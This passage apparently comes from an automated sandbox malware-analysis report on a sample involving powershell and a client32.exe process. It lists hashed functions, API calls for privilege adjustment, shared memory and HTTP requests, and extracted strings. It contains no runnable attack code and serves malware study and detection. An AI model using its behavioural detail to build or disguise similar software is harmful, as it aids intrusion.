Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e62226d15013306876b02792758a35888e5eac17d52d1af949890262d6652f
Instruction ID: f70a29ea7b09665ab757958148c17e009cea5ed793bbfdbfe297c9b678525ba9
Opcode Fuzzy Hash: 78e62226d15013306876b02792758a35888e5eac17d52d1af949890262d6652f
Instruction Fuzzy Hash: D551D630B1EA495FD7A4EF6CD464A657BE1FF5931170600BAE489C72B2DA28EC81C781

Function 00007FFD9B92A710 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction ID: 1e680bccaa898293ef83bf82e7ac7364f5aebd11e1679202d106f581de6cc9d9
Opcode Fuzzy Hash: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction Fuzzy Hash: E841E73131581C8FDAE4EB5CE898E6877E1FF6C31271605E6E44ACB271DA26DC81CB40

Function 00007FFD9B9267A0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a590a31f9e642a49984177bb78c93959c8db463aac6a1083624c9b398f6adcb6
Instruction ID: c73067184f08fbd257956a9bba63014f76b13759e39711e80888050db706967b
Opcode Fuzzy Hash: a590a31f9e642a49984177bb78c93959c8db463aac6a1083624c9b398f6adcb6
Instruction Fuzzy Hash: 72418C21F2DD0E5FEBA8F6AC9065AB973D1EF58310B1544B9D04EC32A6DE29FD818740

Function 00007FFD9B927954 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96db6d56b0416967938deb00c2a90ea0964573ec213240a46b7b4ffbddf84da0
Instruction ID: 5d7caf61680661d2b1f5d658e6fb19e5106152e1d2f417bb5e3afbf7a0e5be2e
Opcode Fuzzy Hash: 96db6d56b0416967938deb00c2a90ea0964573ec213240a46b7b4ffbddf84da0
Instruction Fuzzy Hash: 9E41B731F2E90A1AFB68AB7848717B863C3EF99314F5640B9D45ED32E7DD2DAD418201

Function 00007FFD9B9F085A Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1885028233.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67fc9232014db1e847a4e92bf7939a0f25b8e29275fb6084dc3b8e68e163b0f9
Instruction ID: c7a4cf4cd398a20b2e881d5385131c199b6e66570da4d68355b22f37522bb887
Opcode Fuzzy Hash: 67fc9232014db1e847a4e92bf7939a0f25b8e29275fb6084dc3b8e68e163b0f9
Instruction Fuzzy Hash: E5414812F2FA8B1BF7B99BA804712786BC1DF91670B5A00BAD45DC31E7ED0DAD404301

Function 00007FFD9B927949 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62aeb82732d706e2ddea33948b853f4da629ca13d5b7b760447b8d51ce7e4035
Instruction ID: 2db76f8bc761b9792a2e931b44c7ddc63773675e79359884e0a3135bec775e8a
Opcode Fuzzy Hash: 62aeb82732d706e2ddea33948b853f4da629ca13d5b7b760447b8d51ce7e4035
Instruction Fuzzy Hash: 5F41A531F2E90A1AEB68AB6858717B863C3EF89314F5640B9D45ED32E7DD2DAD418201

Function 00007FFD9B9F369C Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1885028233.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65547209769dba76cf2a7ec1a2e6b8bb25e822b48affbdb49ec165fd879d6e85
Instruction ID: 52f61605de7ebe171642d324d82c1ec385b43d37545cbc63052294946e780344
Opcode Fuzzy Hash: 65547209769dba76cf2a7ec1a2e6b8bb25e822b48affbdb49ec165fd879d6e85
Instruction Fuzzy Hash: B7410862B2FA8E5FEBB4976858755B96BD0EF14360F5900BAD45DC32F2DE1C6C408340

Function 00007FFD9B92A189 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb63cc7a9763de5bbee861fd66db01def985665a3b9dd285a7e09ef78b9b2679
Instruction ID: d7f77eb31acf578ceadc1281f053f25a9c6ce4b47e2f163fe5fe5abd20370ef8
Opcode Fuzzy Hash: eb63cc7a9763de5bbee861fd66db01def985665a3b9dd285a7e09ef78b9b2679
Instruction Fuzzy Hash: 58312632E1E68E5FEBA4DB5894613B937E1EF98310F06017AE40DC32E2DE296D458380

Function 00007FFD9B926728 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 083d318ad3ac789bf724f7391b62801cb50aecd74344d877b855133a4f87cb96
Instruction ID: 62f2e12ff0f9ffeaa8be978e3b1eea5f4fbbdc6e3c671657232b0770161f079c
Opcode Fuzzy Hash: 083d318ad3ac789bf724f7391b62801cb50aecd74344d877b855133a4f87cb96
Instruction Fuzzy Hash: 1A31C331F1994D5FDBA8E779C465F6577D1EF99300F0500B9D04ECB2A2DA18AD82C740

Function 00007FFD9B929631 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a0195ef0f6849eaf01898472019c3aac39495dabd368c2fee55a1608ed28fb
Instruction ID: 5d03fb52e995179189d28eb9f80793e643dbd4225073e6ed6e7cf346b8f6873c
Opcode Fuzzy Hash: f6a0195ef0f6849eaf01898472019c3aac39495dabd368c2fee55a1608ed28fb
Instruction Fuzzy Hash: 1D21C030629E4C9FCBA8EA6CC59896573E1FF5831134505BDD08AC7AB1DA24FC41C740

Function 00007FFD9B92A6F1 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889175632fe88072449706598fe7f6f5618adef3a06be918b19f624e84ac1d76
Instruction ID: 11dad88607d17961dd02235a8909d8b1a12ad09a63806f69d3010cb36a51f2d3
Opcode Fuzzy Hash: 889175632fe88072449706598fe7f6f5618adef3a06be918b19f624e84ac1d76
Instruction Fuzzy Hash: 77117F32B1E88C5FDB95EB6CD8689647BE1EF2A31131A00F3D088CB172D915ED84C740

Function 00007FFD9B9263A2 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb5e1aa381e1430d2c692d5601ee990c21932d717572f77ee7f2fe466a10f6cb
Instruction ID: cf285d8323739912e98df544e9ed63a1e73d433e523a65c6523af0a1c38eb923
Opcode Fuzzy Hash: eb5e1aa381e1430d2c692d5601ee990c21932d717572f77ee7f2fe466a10f6cb
Instruction Fuzzy Hash: 5A014072F1DA1C1BE76C9A5C78122B973C1EBC9621F15023FE49FD3692DE1669034286

Function 00007FFD9B9263B6 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c248c86d2c626fcdef4784396935fd0d4d6ed2aff4b950191e268a5d98508b9
Instruction ID: 12fea24fafd47f73a19638cca697c8a54d32008d9685df20639e5569cfeb5f81
Opcode Fuzzy Hash: 4c248c86d2c626fcdef4784396935fd0d4d6ed2aff4b950191e268a5d98508b9
Instruction Fuzzy Hash: DD018072F1DA1C1BE6689A5C68161B973C1EBC9621B15033FE49FC2692DE1568034285

Function 00007FFD9B9263C7 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f56770e7069895e3e04ce9bbc725252775061abd35753c50bd155266f72167
Instruction ID: 530b8fb225aa7eaec1d43ea74dee5b491296530be984de0640f39af52393026a
Opcode Fuzzy Hash: 70f56770e7069895e3e04ce9bbc725252775061abd35753c50bd155266f72167
Instruction Fuzzy Hash: 9B0192B2F1DA0C0BE76C9A5C68121B973C1E7C9630B05033FE59FC3692DE2568034285

Function 00007FFD9B92A852 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 875f1af9cde2f98529b8a80c9487f119d054f752dbadc200b8f8192149253fdc
Instruction ID: 875892fdf22dc4df2d9787f2000950e63f903b9d6dd18fa31a52a3a296830254
Opcode Fuzzy Hash: 875f1af9cde2f98529b8a80c9487f119d054f752dbadc200b8f8192149253fdc
Instruction Fuzzy Hash: AE218430A0DA4D4FDB9AEB28C464F61BBE1EF55300F0944E9D04DCB2A3DA25EC82CB00

Function 00007FFD9B92A348 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe848b9b17764a24aae42c4316b32d047fe9bfb1cd01dfa52784c67352e895c
Instruction ID: f4c00b6ec292ee4d19cc51f74cf0600c527aad7d59d62ff2447e443169c3a8ed
Opcode Fuzzy Hash: 4fe848b9b17764a24aae42c4316b32d047fe9bfb1cd01dfa52784c67352e895c
Instruction Fuzzy Hash: 7111CC33F1EA8C1FD721A7609C308E63FE6EF82310B0501ABD04DC71A2D959AA46C340

Function 00007FFD9B923975 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 9d1bee153a805d5a12f66e32b099c4d6af3ade425a0a860db42cfbf9b63cd792
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: FE01677121CB0C8FD748EF0CE451AA5B7E0FB95364F10056EE58AC36A5D636E881CB45

Function 00007FFD9B92A30B Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928a8357bebca6c745b5009d5e184d9d42a9a4869713331e6ad0e678ec40fa35
Instruction ID: 3a132e564386a6788268944d0662bd9f1d2fd480b46c3f9aedbad1132c0c7b3f
Opcode Fuzzy Hash: 928a8357bebca6c745b5009d5e184d9d42a9a4869713331e6ad0e678ec40fa35
Instruction Fuzzy Hash: AFF08133F6D95D5BEB20A5A8BC205D87FD2EFC8358F05007AE41CC71A1E7265945C341

Non-executed Functions

Function 00007FFD9B9289FA Relevance: 7.6, Strings: 6, Instructions: 92COMMON

Download Yara Rule

Strings

M_^8, xrefs: 00007FFD9B9289FA
M_^Y, xrefs: 00007FFD9B928AC2
M_^I, xrefs: 00007FFD9B928A62
M_^J, xrefs: 00007FFD9B928A6A
M_^N, xrefs: 00007FFD9B928A7A
M_^K, xrefs: 00007FFD9B928A72

Memory Dump Source

Source File: 00000001.00000002.1884217270.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b920000_powershell.jbxd

Similarity

API ID:
String ID: M_^8$M_^I$M_^J$M_^K$M_^N$M_^Y
API String ID: 0-1632920121
Opcode ID: 23b918e06b9512168264ecf502b2f7b2da0e678b6be169f6863bdbf4ae9d6be0
Instruction ID: f12ba661203e3dd70f8a13172f13c4603ebda20fcf1b4d7ba6d019e14c6f69f4
Opcode Fuzzy Hash: 23b918e06b9512168264ecf502b2f7b2da0e678b6be169f6863bdbf4ae9d6be0
Instruction Fuzzy Hash: 82213B73718026C6D20537AC78529D9B781EF9033479983F6D16ACA183ED2A60CB46C4

Analysis Process: client32.exePID: 7608, Parent PID: 7424COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	89

Executed Functions

Function 1109E5B0 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1109D860: GetCurrentProcess.KERNEL32(000F01FF,?,11030703,00000000,00000000,00080000,AB86ACF8,00080000,00000000,?), ref: 1109D88D
Part of subcall function 1109D860: OpenProcessToken.ADVAPI32(00000000), ref: 1109D894
Part of subcall function 1109D860: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D8A5
Part of subcall function 1109D860: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D8C9

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,AB86ACF8,00080000,00000000,?), ref: 1109E645
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109E65E
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 1109E669
GetVersionExA.KERNEL32(?), ref: 1109E680
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E6EE
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 1109E703
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E714
CreateFileMappingA.KERNEL32(000000FF,11030703,00000004,00000000,?,?), ref: 1109E750
GetLastError.KERNEL32 ref: 1109E75D
LocalFree.KERNEL32(?), ref: 1109E786
LocalFree.KERNEL32(?), ref: 1109E793
GetLastError.KERNEL32 ref: 1109E7B0
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 1109E7CE
LocalFree.KERNEL32(?), ref: 1109E7F9
LocalFree.KERNEL32(?), ref: 1109E806

Part of subcall function 1109D7D0: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,1109E69E), ref: 1109D7D8

Part of subcall function 1109D810: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109D824

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E832
LocalFree.KERNEL32(?), ref: 1109E8FB
LocalFree.KERNEL32(?), ref: 1109E908
_memset.LIBCMT ref: 1109E920
GetTickCount.KERNEL32 ref: 1109E928
GetCurrentProcessId.KERNEL32 ref: 1109E9D4
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E9EF
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109EA3B
GetLastError.KERNEL32 ref: 1109EA44
GetLastError.KERNEL32(00000000), ref: 1109EA4B
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109EA80
GetLastError.KERNEL32 ref: 1109EA89
GetLastError.KERNEL32(00000000), ref: 1109EA90
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 1109EAC6
GetLastError.KERNEL32 ref: 1109EACF
GetLastError.KERNEL32(00000000), ref: 1109EAD6
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109EB0B
GetLastError.KERNEL32 ref: 1109EB1A
GetLastError.KERNEL32(00000000), ref: 1109EB1D
LocalFree.KERNEL32(?), ref: 1109EB45
LocalFree.KERNEL32(?), ref: 1109EB52
GetCurrentThreadId.KERNEL32 ref: 1109EB83
CreateThread.KERNEL32(00000000,00002000,Function_0009E140,00000000,00000000,00000030), ref: 1109EB9D
ResetEvent.KERNEL32(?), ref: 1109EBCC
ResetEvent.KERNEL32(?), ref: 1109EBD2
ResetEvent.KERNEL32(?), ref: 1109EBD8
SetEvent.KERNEL32(?), ref: 1109EBDE

Strings

SeSecurityPrivilege, xrefs: 1109E61A
map exists, xrefs: 1109E90A
cant create events, xrefs: 1109EC14
warning map exists, xrefs: 1109E8B0
Error filemap exists, xrefs: 1109E8DD
Info - reusing existing filemap, xrefs: 1109E899
cant create filemap, xrefs: 1109E795
IPC(%s) created, xrefs: 1109EBE8
Error creating filemap (%d), xrefs: 1109E764
S:(ML;;NW;;;LW), xrefs: 1109E6A8
cant create thread, xrefs: 1109EBAA
Error cant create events, xrefs: 1109EC07
cant map, xrefs: 1109E808
Error cant map view, xrefs: 1109E7DB
Cant create event %s, e=%d (x%x), xrefs: 1109EA59, 1109EA9E, 1109EAE4, 1109EB27

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: 5f128e5d137d7e61479c73dee0859362bd36eaaf37b2cb873371865b9cdea2a1
Instruction ID: a3fd055aacadca8d823d44ca49761fd5d24e706f53ed4dbc48f97bf713fa71f6
Opcode Fuzzy Hash: 5f128e5d137d7e61479c73dee0859362bd36eaaf37b2cb873371865b9cdea2a1
Instruction Fuzzy Hash: A612B2B5E0026D9FEB24DF60CDD4EAAB7BAFB88304F0049A9E51D97640D671AD84CF50

Function 11029BB0 Relevance: 91.5, APIs: 40, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,AB86ACF8,74DF23A0,?,00000000), ref: 11029BE5
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029C7F
SetLastError.KERNEL32(00000078), ref: 11029C93
_malloc.LIBCMT ref: 11029CB7
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029CD1
GetLastError.KERNEL32 ref: 11029CF2
_free.LIBCMT ref: 11029CFE
_malloc.LIBCMT ref: 11029D07
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029D21
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 11029D5B
InternetOpenA.WININET(11195264,?,?,000000FF,00000000), ref: 11029D7A
SetLastError.KERNEL32(00000078), ref: 11029D84
SetLastError.KERNEL32(00000078), ref: 11029D91
SetLastError.KERNEL32(00000078), ref: 11029D9B
_free.LIBCMT ref: 11029DA5

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029E25
SetLastError.KERNEL32(00000078), ref: 11029E3E
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 11029E51
InternetConnectA.WININET(000000FF,1119A6C0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 11029E6E
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029E8A
SetLastError.KERNEL32(00000078), ref: 11029EA3
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 11029EC9
HttpOpenRequestA.WININET(?,GET,1119A6D8,00000000,00000000,00000000,8040F000,00000000), ref: 11029EEF
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 11029F1D
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 1102A083
InternetQueryDataAvailable.WININET(1117FC4B,1102CCC1,00000000,00000000), ref: 1102A09E
SetLastError.KERNEL32(00000078), ref: 1102A150
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102A1A2
SetLastError.KERNEL32(00000078), ref: 1102A1B9
FreeLibrary.KERNEL32(?), ref: 1102A1CA

Strings

InternetConnectA, xrefs: 11029E4B
InternetQueryOptionA, xrefs: 11029CCB, 11029D1B
InternetErrorDlg, xrefs: 11029FC0
HttpSendRequestA, xrefs: 11029F17
GET, xrefs: 11029EE9
WinInet.dll, xrefs: 11029BDD
://, xrefs: 11029DC5
InternetQueryDataAvailable, xrefs: 1102A07D
InternetOpenA, xrefs: 11029D55
HttpOpenRequestA, xrefs: 11029EC3
HttpQueryInfoA, xrefs: 11029F63
InternetCloseHandle, xrefs: 11029C79, 11029E1F, 11029E84, 1102A19C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Internet$FreeLibraryOpen_free_malloc$AvailableConnectDataHeapHttpLoadQueryRequest
String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 579908884-913974648
Opcode ID: 672cd097590bfd03c9fe4a36dbc9c03aeb2e34a222513bbefa7f0796f77ae97c
Instruction ID: fedf281c9ee5d08c3a8f43e513d3e5c088d5a5ed6dab1fd82504b865b87691ba
Opcode Fuzzy Hash: 672cd097590bfd03c9fe4a36dbc9c03aeb2e34a222513bbefa7f0796f77ae97c
Instruction Fuzzy Hash: 8012AC70D40229DBEB11DFE5CC88AAEFBF8FF88754F604169E425A7600EB745980CB60

Function 110627B0 Relevance: 76.5, APIs: 22, Strings: 21, Instructions: 1221COMMON

Download Yara Rule

APIs

Part of subcall function 11145A70: GetLastError.KERNEL32(?,00000000,000000FF,?), ref: 11145AA5
Part of subcall function 11145A70: Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,000000FF,?), ref: 11145AB5

_fgets.LIBCMT ref: 110628E2
_strpbrk.LIBCMT ref: 11062949
_fgets.LIBCMT ref: 11062A4C
_strpbrk.LIBCMT ref: 11062AC3
__wcstoui64.LIBCMT ref: 11062ADC
_fgets.LIBCMT ref: 11062B55
_strpbrk.LIBCMT ref: 11062B7B

Strings

inactive, xrefs: 110630D1
cd_install, xrefs: 1106313B
defaults, xrefs: 11062C36
_include, xrefs: 11062CE9
ACM, xrefs: 110631B7
expiry, xrefs: 11063250
_License, xrefs: 11062E76, 11062F34, 11062F4E, 110630D6, 11063140, 1106315B, 11063177, 11063271, 11063490, 11063578
start, xrefs: 11063259, 11063270
%s.%04d.%s, xrefs: 11062DC9
shrink_wrap, xrefs: 11063156
/- , xrefs: 1106331E, 11063351, 11063384
_checksum, xrefs: 11062F2F
_version, xrefs: 11062F49
?expirY, xrefs: 11063288
%c%04d%s, xrefs: 11062CA4
Expired, xrefs: 1106348B
enforce, xrefs: 11062C56
product, xrefs: 11063172
Client, xrefs: 11062D82, 11062DC4
?starT, xrefs: 11063291, 1106329D
licensee, xrefs: 11063573

Memory Dump Source

